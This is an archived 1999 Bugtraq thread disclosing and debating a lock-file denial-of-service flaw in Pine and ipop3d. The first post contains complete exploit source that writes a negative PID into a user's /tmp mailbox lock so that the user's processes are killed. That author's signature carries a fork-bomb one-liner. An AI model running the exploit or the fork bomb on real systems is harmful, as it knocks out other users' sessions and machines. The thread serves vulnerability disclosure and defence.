Date: Sun, 7 Mar 1999 01:41:25 +0100
From: Michal Zalewski <lcamtuf@IDS.PL>

Lockfile vunerability in ipop3d 4.xx

The problem is probably well known, but silently ignored by pine vendors.
Unfortunately, it's possible to turn 'mostly harmless feature' in
something nasty - following code allows various DoSes by killing all
processes of luser (could be root?) every time he/she runs pine or
receives mail via POP3 protocol:

-- lock-exploit.c --
// Pine 4.xx, ipop3d 4.xx and other /tmp-lock based mail stuff.

#include <sys/file.h>
#include <sys/stat.h>
#include <unistd.h>

main(int argc,char* argv[]) {
  int i,a=0;
  char s[100];
  struct stat x;
  if (!argv[1]) exit(printf("Usage: %s account_name\n",argv[0]));
  sprintf(s,"/var/spool/mail/%s",argv[1]);
  if (stat(s,&x)) exit(printf("Mailbox (%s) not found.\n",s));
  sprintf(s,"/tmp/.%x.%x",(int)x.st_dev,(int)x.st_ino);
  fchmod(i=open(s,O_RDWR|O_CREAT,0600),0666);
  while (1) {
    lseek(i,0,0);
    write(i,"-1",2);
    ftruncate(i,2);
    fsync(i);
    if (!a++) if (!flock(i,LOCK_EX)) printf("Got lock on %s.\n",s);
      else printf("File %s already locked, wait...\n",s);
    sleep(1);
  }
}
-- eof --

Works well under Linux. Under BSD, pine seems to have broken mailbox
access negotiation (fortunately ;-). No information about ipop3d.

Mainly, this vunerability demonstrates that world-writable mailbox locks
in /tmp are SICK IDEA (one day, as I recall, one of pine vendors said it's
'harmless', while other solutions allows several DoS attacks... huh).

-

_______________________________________________________________________
Michal Zalewski [lcamtuf@ids.pl] [link / marchew] [dione.ids.pl SYSADM]
[Marchew Industries] ! [http://lcamtuf.na.export.pl] bash$ :(){ :|:&};:
[voice phone: +48 (0) 22 813 25 86] ? [pager (MetroBip): 0 642 222 813]
Iterowac jest rzecza ludzka, wykonywac rekursywnie - boska [P. Deutsch]

-----------------------------------------------------------------------------

Date: Mon, 8 Mar 1999 02:37:18 +0100
From: Michal Zalewski <lcamtuf@IDS.PL>

> 3. Lockfile vunerability in pine 4.xx (Linux)
> 4. Lockfile vunerability in ipop3d 4.xx

It has been addressed as 'negative value' problem. The problem is buggy
negotiation protocol, not negative, positive or any other PID itself
(disallowing negative values won't prevent attacker from killing choosen
processes). So, as today, there's no chance for complete solution on /tmp
mailbox locks.

-----------------------------------------------------------------------------

Date: Thu, 8 Apr 1999 18:16:48 -0700
From: Mark Crispin <mrc@CAC.Washington.EDU>
Reply-To: Pine Team <Pine@CAC.Washington.EDU>

We thought these claims required a response from us since they contain
misleading information and only about 20% fact. And by the way, we were
not contacted before this post was made to BUGTRAQ, as protocol states.

The impact is only with the standard UNIX format.

The buffer overflow claim, and in particular the alleged root compromise, is
bogus.  The process is not root when mailboxes are open; nor can it get root
back.  He is confused by the SVR4 semantics of UID; the caveat about the
real UID does not apply to root processes doing setuid().

The maximum exposure is that one byte of stack frame may be set to zero,
because of a "buf[x] = 0" for a stack buffer of length x.  This may cause a
SEGV; more likely it will just clobber a variable that isn't used after that
point in the function anyway.  It is not possible to write something else, nor
is it possible to write at any other location.

In other words, this "buffer overflow" bug is just an ordinary bug.  It
doesn't happen unless the software is abused, and even may be totally harmless
depending upon the code that your C compiler generates.  It is *NOT* a
security bug in the normal sense.

Now, we'll talk about the 20% that is fact.  Yes, it is possible to write
a negative process ID in the lock file.  This requires that the attacker
have shell access; it can't be mounted remotely.  It also requires that
the attacker have a program running at the time that the victim opens his
mail file.

Not only is the program running, but it has the lock file open and locked.  In
other words, it's incredibly easy to catch; particularly if you have lsof.
Nor can there be any question of intent when it comes to prosecution.  Only an
extremely stupid individual would try it.

-----------------------------------------------------------------------------

Date: Fri, 9 Apr 1999 09:06:23 -0700
From: Mark Crispin <MRC@CAC.WASHINGTON.EDU>
To: BUGTRAQ@netspace.org
Subject: Re: ipop3d (x2) / pine (x2) / Linux kernel (x2) / Midnight              Commander (x2)

On Fri, 9 Apr 1999 10:48:05 +0200, Olaf Kirch wrote:
> There's a feature in imap that's rarely if ever mentioned which lets
> you configure the lock protection for mailbox locks. In /etc/client.cf,
> you can do `set lock-protection 0600'. The source says it's totally
> unsupported and may go away anytime, though.

Don't do it.  It won't work.  It will break things, and subject you to public
humiliation should I get a bug report as a result.

The locks are 666 for a reason.  Forget about denial of service problems when
you have hostile users with shell accounts (why would you have such a thing
anyway).  We're talking about denial of service problems when all of your
users are good guys and are cooperating with each other.

-----------------------------------------------------------------------------

Date: Sun, 11 Apr 1999 16:13:21 +0400
From: GvS <gvs@RINET.RU>
To: BUGTRAQ@netspace.org
Subject: Re: ipop3d (x2) / pine (x2) / ...

On Fri, 9 Apr 1999, Mark Crispin wrote:

 MC> The locks are 666 for a reason.

SHIT! Sorry...

The lock mode MUST be selectable. I can't see almost any reason for
world-writable locks for me and my systems. If somebody wants to, he
can set them 0666 by hand. In any case I would require truly shared
mailboxes, it's enough for me to have the lock mode group-writable
(0660) and permit access for the specified group. And only!

Making lock-file mode 0666 doesn't allow me to detect hostile user
whether he/she appears on my system, but easily allows him/her to
perform at least 2 different DoS attacks agains somebody's Pine. It's
headache.

SY, Seva Gluschenko, just stranger at the Road.
GVS-RIPE: Cronyx Plus / RiNet network administrator.

--- IRC: erra
 * Origin: Erra Netmale (gvs@rinet.ru) [http://gvs.rinet.ru/]